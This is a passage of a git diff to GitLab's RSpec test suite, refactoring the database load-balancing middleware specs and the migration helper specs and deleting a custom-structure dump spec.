+ expect(described_class.find_for_configuration('MyJobClass', :projects, :id, [[:id], [:id_convert_to_bigint]])).to eq(migration)
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/custom_structure_spec.rb b/spec/lib/gitlab/database/custom_structure_spec.rb
deleted file mode 100644
index 04ce1e4ad9a..00000000000
--- a/spec/lib/gitlab/database/custom_structure_spec.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::CustomStructure do
- let_it_be(:structure) { described_class.new }
- let_it_be(:filepath) { Rails.root.join(described_class::CUSTOM_DUMP_FILE) }
- let_it_be(:file_header) do
- <<~DATA
- -- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables
- -- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872
- DATA
- end
-
- let(:io) { StringIO.new }
-
- before do
- allow(File).to receive(:open).with(filepath, anything).and_yield(io)
- end
-
- context 'when there are no partitioned_foreign_keys' do
- it 'dumps a valid structure file' do
- structure.dump
-
- expect(io.string).to eq("#{file_header}\n")
- end
- end
-
- context 'when there are partitioned_foreign_keys' do
- let!(:first_fk) do
- Gitlab::Database::PartitioningMigrationHelpers::PartitionedForeignKey.create(
- cascade_delete: true, from_table: 'issues', from_column: 'project_id', to_table: 'projects', to_column: 'id')
- end
-
- let!(:second_fk) do
- Gitlab::Database::PartitioningMigrationHelpers::PartitionedForeignKey.create(
- cascade_delete: false, from_table: 'issues', from_column: 'moved_to_id', to_table: 'issues', to_column: 'id')
- end
-
- it 'dumps a file with the command to restore the current keys' do
- structure.dump
-
- expect(io.string).to eq(<<~DATA)
- #{file_header}
- COPY partitioned_foreign_keys (id, cascade_delete, from_table, from_column, to_table, to_column) FROM STDIN;
- #{first_fk.id}\ttrue\tissues\tproject_id\tprojects\tid
- #{second_fk.id}\tfalse\tissues\tmoved_to_id\tissues\tid
- \\.
- DATA
-
- first_fk.destroy
- io.truncate(0)
- io.rewind
-
- structure.dump
-
- expect(io.string).to eq(<<~DATA)
- #{file_header}
- COPY partitioned_foreign_keys (id, cascade_delete, from_table, from_column, to_table, to_column) FROM STDIN;
- #{second_fk.id}\tfalse\tissues\tmoved_to_id\tissues\tid
- \\.
- DATA
- end
- end
-end
diff --git a/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
index 4705bb23885..b82b8d9a311 100644
--- a/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb
@@ -306,26 +306,6 @@ RSpec.describe Gitlab::Database::LoadBalancing::LoadBalancer, :request_store do
end
end
- describe '#all_caught_up?' do
- it 'returns true if all hosts caught up to the write location' do
- expect(lb.host_list.hosts).to all(receive(:caught_up?).with('foo').and_return(true))
-
- expect(lb.all_caught_up?('foo')).to eq(true)
- end
-
- it 'returns false if a host has not yet caught up' do
- expect(lb.host_list.hosts[0]).to receive(:caught_up?)
- .with('foo')
- .and_return(true)
-
- expect(lb.host_list.hosts[1]).to receive(:caught_up?)
- .with('foo')
- .and_return(false)
-
- expect(lb.all_caught_up?('foo')).to eq(false)
- end
- end
-
describe '#retry_with_backoff' do
it 'returns the value returned by the block' do
value = lb.retry_with_backoff { 10 }
@@ -488,7 +468,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::LoadBalancer, :request_store do
end
end
- describe '#select_caught_up_hosts' do
+ describe '#select_up_to_date_host' do
let(:location) { 'AB/12345'}
let(:hosts) { lb.host_list.hosts }
let(:set_host) { RequestStore[described_class::CACHE_KEY] }
diff --git a/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb
index 01367716518..9381ffa59fe 100644
--- a/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb
@@ -71,6 +71,11 @@ RSpec.describe Gitlab::Database::LoadBalancing::RackMiddleware, :redis do
expect(app).to receive(:call).with(env).and_return(10)
+ expect(ActiveSupport::Notifications)
+ .to receive(:instrument)
+ .with('web_transaction_completed.load_balancing')
+ .and_call_original
+
expect(middleware.call(env)).to eq(10)
end
end
diff --git a/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb
index 90051172fca..54050a87af0 100644
--- a/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb
@@ -5,12 +5,27 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
let(:middleware) { described_class.new }
+ let(:load_balancer) { double.as_null_object }
+ let(:worker_class) { 'TestDataConsistencyWorker' }
+ let(:job) { { "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e" } }
+
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer).and_return(load_balancer)
+ end
+
after do
Gitlab::Database::LoadBalancing::Session.clear_session
end
+ def run_middleware
+ middleware.call(worker_class, job, nil, nil) {}
+ end
+
describe '#call' do
shared_context 'data consistency worker class' do |data_consistency, feature_flag|
+ let(:expected_consistency) { data_consistency }
let(:worker_class) do
Class.new do
def self.name
@@ -31,13 +46,23 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
end
end
+ shared_examples_for 'job data consistency' do
+ it "sets job data consistency" do
+ run_middleware
+
+ expect(job['worker_data_consistency']).to eq(expected_consistency)
+ end
+ end
+
shared_examples_for 'does not pass database locations' do
it 'does not pass database locations', :aggregate_failures do
- middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+ run_middleware
expect(job['database_replica_location']).to be_nil
expect(job['database_write_location']).to be_nil
end
+
+ include_examples 'job data consistency'
end
shared_examples_for 'mark data consistency location' do |data_consistency|
@@ -45,7 +70,9 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
let(:location) { '0/D525E3A8' }
- context 'when feature flag load_balancing_for_sidekiq is disabled' do
+ context 'when feature flag is disabled' do
+ let(:expected_consistency) { :always }
+
before do
stub_feature_flags(load_balancing_for_test_data_consistency_worker: false)
end
@@ -59,12 +86,14 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
end
it 'passes database_replica_location' do
- expect(middleware).to receive_message_chain(:load_balancer, :host, "database_replica_location").and_return(location)
+ expect(load_balancer).to receive_message_chain(:host, "database_replica_location").and_return(location)
- middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+ run_middleware
expect(job['database_replica_location']).to eq(location)
end
+
+ include_examples 'job data consistency'
end
context 'when write was performed' do
@@ -73,12 +102,14 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
end
it 'passes primary write location', :aggregate_failures do
- expect(middleware).to receive_message_chain(:load_balancer, :primary_write_location).and_return(location)
+ expect(load_balancer).to receive(:primary_write_location).and_return(location)
- middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+ run_middleware
expect(job['database_write_location']).to eq(location)
end
+
+ include_examples 'job data consistency'
end
end
@@ -89,7 +120,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
end
it 'does not set database locations again' do
- middleware.call(worker_class, job, double(:queue), redis_pool) { 10 }
+ run_middleware
expect(job[provided_database_location]).to eq(old_location)
expect(job[other_location]).to be_nil
@@ -101,8 +132,8 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
let(:job) { { "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", provided_database_location => old_location } }
before do
- allow(middleware).to receive_message_chain(:load_balancer, :primary_write_location).and_return(new_location)
- allow(middleware).to receive_message_chain(:load_balancer, :database_replica_location).and_return(new_location)
+ allow(load_balancer).to receive(:primary_write_location).and_return(new_location)
+ allow(load_balancer).to receive(:database_replica_location).and_return(new_location)
end
context "when write was performed" do
@@ -114,24 +145,16 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqClientMiddleware do
end
end
- let(:queue) { 'default' }
- let(:redis_pool) { Sidekiq.redis_pool }
- let(:worker_class) { 'TestDataConsistencyWorker' }
- let(:job) { { "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e" } }
-
- before do
- skip_feature_flags_yaml_validation
- skip_default_enabled_yaml_check
- end
-
context 'when worker cannot be constantized' do
let(:worker_class) { 'ActionMailer::MailDeliveryJob' }
+ let(:expected_consistency) { :always }
include_examples 'does not pass database locations'
end
context 'when worker class does not include ApplicationWorker' do
let(:worker_class) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper }
+ let(:expected_consistency) { :always }
include_examples 'does not pass database locations'
end
diff --git a/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
index b7cd0caa922..14f240cd159 100644
--- a/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb
@@ -5,6 +5,19 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
let(:middleware) { described_class.new }
+ let(:load_balancer) { double.as_null_object }
+
+ let(:worker) { worker_class.new }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'database_replica_location' => '0/D525E3A8' } }
+
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer).and_return(load_balancer)
+
+ replication_lag!(false)
+ end
+
after do
Gitlab::Database::LoadBalancing::Session.clear_session
end
@@ -31,30 +44,34 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
end
end
- shared_examples_for 'stick to the primary' do
+ shared_examples_for 'load balancing strategy' do |strategy|
+ it "sets load balancing strategy to #{strategy}" do
+ run_middleware do
+ expect(job['load_balancing_strategy']).to eq(strategy)
+ end
+ end
+ end
+
+ shared_examples_for 'stick to the primary' do |expected_strategy|
it 'sticks to the primary' do
- middleware.call(worker, job, double(:queue)) do
+ run_middleware do
expect(Gitlab::Database::LoadBalancing::Session.current.use_primary?).to be_truthy
end
end
+
+ include_examples 'load balancing strategy', expected_strategy
end
- shared_examples_for 'replica is up to date' do |location, data_consistency|
+ shared_examples_for 'replica is up to date' do |location, expected_strategy|
it 'does not stick to the primary', :aggregate_failures do
expect(middleware).to receive(:replica_caught_up?).with(location).and_return(true)
- middleware.call(worker, job, double(:queue)) do
+ run_middleware do
expect(Gitlab::Database::LoadBalancing::Session.current.use_primary?).not_to be_truthy
end
-
- expect(job[:database_chosen]).to eq('replica')
end
- it "updates job hash with data_consistency :#{data_consistency}" do
- middleware.call(worker, job, double(:queue)) do
- expect(job).to include(data_consistency: data_consistency.to_s)
- end
- end
+ include_examples 'load balancing strategy', expected_strategy
end
shared_examples_for 'sticks based on data consistency' do |data_consistency|
@@ -65,7 +82,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
stub_feature_flags(load_balancing_for_test_data_consistency_worker: false)
end
- include_examples 'stick to the primary'
+ include_examples 'stick to the primary', 'primary'
end
context 'when database replica location is set' do
@@ -75,7 +92,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
allow(middleware).to receive(:replica_caught_up?).and_return(true)
end
- it_behaves_like 'replica is up to date', '0/D525E3A8', data_consistency
+ it_behaves_like 'replica is up to date', '0/D525E3A8', 'replica'
end
context 'when database primary location is set' do
@@ -85,39 +102,26 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
allow(middleware).to receive(:replica_caught_up?).and_return(true)
end
- it_behaves_like 'replica is up to date', '0/D525E3A8', data_consistency
+ it_behaves_like 'replica is up to date', '0/D525E3A8', 'replica'
end
context 'when database location is not set' do
let(:job) { { 'job_id' => 'a180b47c-3fd6-41b8-81e9-34da61c3400e' } }
- it_behaves_like 'stick to the primary', nil
+ it_behaves_like 'stick to the primary', 'primary_no_wal'
end
end
- let(:queue) { 'default' }
- let(:redis_pool) { Sidekiq.redis_pool }
- let(:worker) { worker_class.new }
- let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'database_replica_location' => '0/D525E3A8' } }
- let(:block) { 10 }
-
- before do
- skip_feature_flags_yaml_validation
- skip_default_enabled_yaml_check
- allow(middleware).to receive(:clear)
- allow(Gitlab::Database::LoadBalancing::Session.current).to receive(:performed_write?).and_return(true)
- end
-
context 'when worker class does not include ApplicationWorker' do
let(:worker) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.new }
- include_examples 'stick to the primary'
+ include_examples 'stick to the primary', 'primary'
end
context 'when worker data consistency is :always' do
include_context 'data consistency worker class', :always, :load_balancing_for_test_data_consistency_worker
- include_examples 'stick to the primary'
+ include_examples 'stick to the primary', 'primary'
end
context 'when worker data consistency is :delayed' do
@@ -125,8 +129,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
context 'when replica is not up to date' do
before do
- allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :release_host)
- allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :select_up_to_date_host).and_return(false)
+ replication_lag!(true)
end
around do |example|
@@ -137,38 +140,34 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
end
context 'when job is executed first' do
- it 'raise an error and retries', :aggregate_failures do
+ it 'raises an error and retries', :aggregate_failures do
expect do
process_job(job)
end.to raise_error(Sidekiq::JobRetry::Skip)
expect(job['error_class']).to eq('Gitlab::Database::LoadBalancing::SidekiqServerMiddleware::JobReplicaNotUpToDate')
- expect(job[:database_chosen]).to eq('retry')
end
+
+ include_examples 'load balancing strategy', 'retry'
end
context 'when job is retried' do
- it 'stick to the primary', :aggregate_failures do
+ before do
expect do
process_job(job)
end.to raise_error(Sidekiq::JobRetry::Skip)
-
- process_job(job)
- expect(job[:database_chosen]).to eq('primary')
end
- end
- context 'replica selection mechanism feature flag rollout' do
- before do
- stub_feature_flags(sidekiq_load_balancing_rotate_up_to_date_replica: false)
+ context 'and replica still lagging behind' do
+ include_examples 'stick to the primary', 'primary'
end
- it 'uses different implmentation' do
- expect(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :host, :caught_up?).and_return(false)
+ context 'and replica is now up-to-date' do
+ before do
+ replication_lag!(false)
+ end
- expect do
- process_job(job)
- end.to raise_error(Sidekiq::JobRetry::Skip)
+ it_behaves_like 'replica is up to date', '0/D525E3A8', 'replica_retried'
end
end
end
@@ -182,20 +181,24 @@ RSpec.describe Gitlab::Database::LoadBalancing::SidekiqServerMiddleware do
allow(middleware).to receive(:replica_caught_up?).and_return(false)
end
- include_examples 'stick to the primary'
-
- it 'updates job hash with primary database chosen', :aggregate_failures do
- expect { |b| middleware.call(worker, job, double(:queue), &b) }.to yield_control
-
- expect(job[:database_chosen]).to eq('primary')
- end
+ include_examples 'stick to the primary', 'primary'
end
end
end
def process_job(job)
- Sidekiq::JobRetry.new.local(worker_class, job, queue) do
+ Sidekiq::JobRetry.new.local(worker_class, job, 'default') do
worker_class.process_job(job)
end
end
+
+ def run_middleware
+ middleware.call(worker, job, double(:queue)) { yield }
+ rescue described_class::JobReplicaNotUpToDate
+ # we silence errors here that cause the job to retry
+ end
+
+ def replication_lag!(exists)
+ allow(load_balancer).to receive(:select_up_to_date_host).and_return(!exists)
+ end
end
diff --git a/spec/lib/gitlab/database/load_balancing/sticking_spec.rb b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
index bf4e3756e0e..53445d73756 100644
--- a/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
@@ -46,41 +46,68 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
describe '.all_caught_up?' do
let(:lb) { double(:lb) }
+ let(:last_write_location) { 'foo' }
before do
allow(described_class).to receive(:load_balancer).and_return(lb)
- end
- it 'returns true if no write location could be found' do
allow(described_class).to receive(:last_write_location_for)
.with(:user, 42)
- .and_return(nil)
+ .and_return(last_write_location)
+ end
+
+ context 'when no write location could be found' do
+ let(:last_write_location) { nil }
- expect(lb).not_to receive(:all_caught_up?)
+ it 'returns true' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return(nil)
+
+ expect(lb).not_to receive(:select_up_to_date_host)
- expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ end
end
- it 'returns true, and unsticks if all secondaries have caught up' do
- allow(described_class).to receive(:last_write_location_for)
- .with(:user, 42)
- .and_return('foo')
+ context 'when all secondaries have caught up' do
+ before do
+ allow(lb).to receive(:select_up_to_date_host).with('foo').and_return(true)
+ end
- allow(lb).to receive(:all_caught_up?).with('foo').and_return(true)
+ it 'returns true, and unsticks' do
+ expect(described_class).to receive(:unstick).with(:user, 42)
- expect(described_class).to receive(:unstick).with(:user, 42)
+ expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ end
+
+ it 'notifies with the proper event payload' do
+ expect(ActiveSupport::Notifications)
+ .to receive(:instrument)
+ .with('caught_up_replica_pick.load_balancing', { result: true })
+ .and_call_original
- expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ described_class.all_caught_up?(:user, 42)
+ end
end
- it 'return false if the secondaries have not yet caught up' do
- allow(described_class).to receive(:last_write_location_for)
- .with(:user, 42)
- .and_return('foo')
+ context 'when the secondaries have not yet caught up' do
+ before do
+ allow(lb).to receive(:select_up_to_date_host).with('foo').and_return(false)
+ end
+
+ it 'returns false' do
+ expect(described_class.all_caught_up?(:user, 42)).to eq(false)
+ end
- allow(lb).to receive(:all_caught_up?).with('foo').and_return(false)
+ it 'notifies with the proper event payload' do
+ expect(ActiveSupport::Notifications)
+ .to receive(:instrument)
+ .with('caught_up_replica_pick.load_balancing', { result: false })
+ .and_call_original
- expect(described_class.all_caught_up?(:user, 42)).to eq(false)
+ described_class.all_caught_up?(:user, 42)
+ end
end
end
@@ -96,7 +123,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
.with(:user, 42)
.and_return(nil)
- expect(lb).not_to receive(:all_caught_up?)
+ expect(lb).not_to receive(:select_up_to_date_host)
described_class.unstick_or_continue_sticking(:user, 42)
end
@@ -106,7 +133,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
.with(:user, 42)
.and_return('foo')
- allow(lb).to receive(:all_caught_up?).with('foo').and_return(true)
+ allow(lb).to receive(:select_up_to_date_host).with('foo').and_return(true)
expect(described_class).to receive(:unstick).with(:user, 42)
@@ -118,7 +145,7 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
.with(:user, 42)
.and_return('foo')
- allow(lb).to receive(:all_caught_up?).with('foo').and_return(false)
+ allow(lb).to receive(:select_up_to_date_host).with('foo').and_return(false)
expect(Gitlab::Database::LoadBalancing::Session.current)
.to receive(:use_primary!)
@@ -298,10 +325,22 @@ RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
end
it 'returns true, selects hosts, and unsticks if any secondary has caught up' do
- expect(lb).to receive(:select_caught_up_hosts).and_return(true)
+ expect(lb).to receive(:select_up_to_date_host).and_return(true)
expect(described_class).to receive(:unstick).with(:project, 42)
expect(described_class.select_caught_up_replicas(:project, 42)).to be true
end
+
+ context 'when :load_balancing_refine_load_balancer_methods FF is disabled' do
+ before do
+ stub_feature_flags(load_balancing_refine_load_balancer_methods: false)
+ end
+
+ it 'returns true, selects hosts, and unsticks if any secondary has caught up' do
+ expect(lb).to receive(:select_caught_up_hosts).and_return(true)
+ expect(described_class).to receive(:unstick).with(:project, 42)
+ expect(described_class.select_caught_up_replicas(:project, 42)).to be true
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/database/load_balancing_spec.rb b/spec/lib/gitlab/database/load_balancing_spec.rb
index e7de7f2b43b..94717a10492 100644
--- a/spec/lib/gitlab/database/load_balancing_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing_spec.rb
@@ -142,10 +142,10 @@ RSpec.describe Gitlab::Database::LoadBalancing do
expect(described_class.enable?).to eq(false)
end
- it 'returns false when Sidekiq is being used' do
+ it 'returns true when Sidekiq is being used' do
allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
- expect(described_class.enable?).to eq(false)
+ expect(described_class.enable?).to eq(true)
end
it 'returns false when running inside a Rake task' do
@@ -170,18 +170,6 @@ RSpec.describe Gitlab::Database::LoadBalancing do
expect(described_class.enable?).to eq(true)
end
-
- context 'when ENABLE_LOAD_BALANCING_FOR_SIDEKIQ environment variable is set' do
- before do
- stub_env('ENABLE_LOAD_BALANCING_FOR_SIDEKIQ', 'true')
- end
-
- it 'returns true when Sidekiq is being used' do
- allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
-
- expect(described_class.enable?).to eq(true)
- end
- end
end
describe '.configured?' do
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index f0ea07646fb..8e25f9249fe 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -379,6 +379,37 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
allow(model).to receive(:transaction_open?).and_return(false)
end
+ context 'target column' do
+ it 'defaults to (id) when no custom target column is provided' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/statement_timeout/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET ALL/)
+
+ expect(model).to receive(:execute).with(/REFERENCES users \(id\)/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id)
+ end
+
+ it 'references the custom taget column when provided' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/statement_timeout/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET ALL/)
+
+ expect(model).to receive(:execute).with(/REFERENCES users \(id_convert_to_bigint\)/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id,
+ target_column: :id_convert_to_bigint)
+ end
+ end
+
context 'ON DELETE statements' do
context 'on_delete: :nullify' do
it 'appends ON DELETE SET NULL statement' do
@@ -450,7 +481,8 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model).to receive(:foreign_key_exists?).with(:projects, :users,
column: :user_id,
on_delete: :cascade,
- name: name).and_return(true)
+ name: name,
+ primary_key: :id).and_return(true)
expect(model).not_to receive(:execute).with(/ADD CONSTRAINT/)
expect(model).to receive(:execute).with(/VALIDATE CONSTRAINT/)
@@ -479,6 +511,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
it 'does not create a new foreign key' do
expect(model).to receive(:foreign_key_exists?).with(:projects, :users,
name: :foo,
+ primary_key: :id,
on_delete: :cascade,
column: :user_id).and_return(true)
@@ -583,7 +616,15 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
describe '#foreign_key_exists?' do
before do
- key = ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(:projects, :users, { column: :non_standard_id, name: :fk_projects_users_non_standard_id, on_delete: :cascade })
+ key = ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ :projects, :users,
+ {
+ column: :non_standard_id,
+ name: :fk_projects_users_non_standard_id,
+ on_delete: :cascade,
+ primary_key: :id
+ }
+ )
allow(model).to receive(:foreign_keys).with(:projects).and_return([key])
end
@@ -612,6 +653,11 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model.foreign_key_exists?(:projects, target_table, column: :user_id)).to be_falsey
end
+ it 'compares by target column name if given' do
+ expect(model.foreign_key_exists?(:projects, target_table, primary_key: :user_id)).to be_falsey
+ expect(model.foreign_key_exists?(:projects, target_table, primary_key: :id)).to be_truthy
+ end
+
it 'compares by foreign key name if given' do
expect(model.foreign_key_exists?(:projects, target_table, name: :non_existent_foreign_key_name)).to be_falsey
end
@@ -2007,7 +2053,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
job_class_name: 'CopyColumnUsingBackgroundMigrationJob',
table_name: :events,
column_name: :id,
- job_arguments: [[:id], [:id_convert_to_bigint]]
+ job_arguments: [["id"], ["id_convert_to_bigint"]]
}
end
@@ -2017,7 +2063,16 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
create(:batched_background_migration, configuration.merge(status: :active))
expect { ensure_batched_background_migration_is_finished }
- .to raise_error "Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active': #{configuration}"
+ .to raise_error "Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active':" \
+ "\t#{configuration}" \
+ "\n\n" \
+ "Finalize it manualy by running" \
+ "\n\n" \
+ "\tsudo gitlab-rake gitlab:background_migrations:finalize[CopyColumnUsingBackgroundMigrationJob,events,id,'[[\"id\"]\\, [\"id_convert_to_bigint\"]]']" \
+ "\n\n" \
+ "For more information, check the documentation" \
+ "\n\n" \
+ "\thttps://docs.gitlab.com/ee/user/admin_area/monitoring/background_migrations.html#database-migrations-failing-because-of-batched-background-migration-not-finished"
end
it 'does not raise error when migration exists and is marked as finished' do
@@ -2153,21 +2208,41 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
buffer.rewind
expect(buffer.read).to include("\"class\":\"#{model.class}\"")
end
+
+ using RSpec::Parameterized::TableSyntax
+
+ where(raise_on_exhaustion: [true, false])
+
+ with_them do
+ it 'sets raise_on_exhaustion as requested' do
+ with_lock_retries = double
+ expect(Gitlab::Database::WithLockRetries).to receive(:new).and_return(with_lock_retries)
+ expect(with_lock_retries).to receive(:run).with(raise_on_exhaustion: raise_on_exhaustion)
+
+ model.with_lock_retries(env: env, logger: in_memory_logger, raise_on_exhaustion: raise_on_exhaustion) { }
+ end
+ end
+
+ it 'does not raise on exhaustion by default' do
+ with_lock_retries = double
+ expect(Gitlab::Database::WithLockRetries).to receive(:new).and_return(with_lock_retries)
+ expect(with_lock_retries).to receive(:run).with(raise_on_exhaustion: false)
+
+ model.with_lock_retries(env: env, logger: in_memory_logger) { }
+ end
end
describe '#backfill_iids' do
include MigrationsHelpers
- before do
- stub_const('Issue', Class.new(ActiveRecord::Base))
-
- Issue.class_eval do
+ let(:issue_class) do
+ Class.new(ActiveRecord::Base) do
include AtomicInternalId
self.table_name = 'issues'
self.inheritance_column = :_type_disabled
- belongs_to :project, class_name: "::Project"
+ belongs_to :project, class_name: "::Project", inverse_of: nil
has_internal_id :iid,
scope: :project,
@@ -2190,7 +2265,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
model.backfill_iids('issues')
- issue = Issue.create!(project_id: project.id)
+ issue = issue_class.create!(project_id: project.id)
expect(issue.iid).to eq(1)
end
@@ -2201,7 +2276,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
model.backfill_iids('issues')
- issue_b = Issue.create!(project_id: project.id)
+ issue_b = issue_class.create!(project_id: project.id)
expect(issue_a.reload.iid).to eq(1)
expect(issue_b.iid).to eq(2)
@@ -2216,8 +2291,8 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
model.backfill_iids('issues')
- issue_a = Issue.create!(project_id: project_a.id)
- issue_b = Issue.create!(project_id: project_b.id)
+ issue_a = issue_class.create!(project_id: project_a.id)
+ issue_b = issue_class.create!(project_id: project_b.id)
expect(issue_a.iid).to eq(2)
expect(issue_b.iid).to eq(3)
@@ -2231,7 +2306,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
model.backfill_iids('issues')
- issue_b = Issue.create!(project_id: project_b.id)
+ issue_b = issue_class.create!(project_id: project_b.id)
expect(issue_a.reload.iid).to eq(1)
expect(issue_b.reload.iid).to eq(1)
@@ -2951,4 +3026,12 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
end
end
end
+
+ describe '#rename_constraint' do
+ it "executes the statement to rename constraint" do
+ expect(model).to receive(:execute).with /ALTER TABLE "test_table"\nRENAME CONSTRAINT "fk_old_name" TO "fk_new_name"/
+
+ model.rename_constraint(:test_table, :fk_old_name, :fk_new_name)
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/partitioning/monthly_strategy_spec.rb b/spec/lib/gitlab/database/partitioning/monthly_strategy_spec.rb
index 885eef5723e..f9dca371398 100644
--- a/spec/lib/gitlab/database/partitioning/monthly_strategy_spec.rb
+++ b/spec/lib/gitlab/database/partitioning/monthly_strategy_spec.rb
@@ -71,6 +71,18 @@ RSpec.describe Gitlab::Database::Partitioning::MonthlyStrategy do
model.create!(created_at: Date.parse('2020-06-15'))
end
+ context 'when pruning partitions before June 2020' do
+ subject { described_class.new(model, partitioning_key, retain_for: 1.month).missing_partitions }
+
+ it 'does not include the missing partition from May 2020 because it would be dropped' do
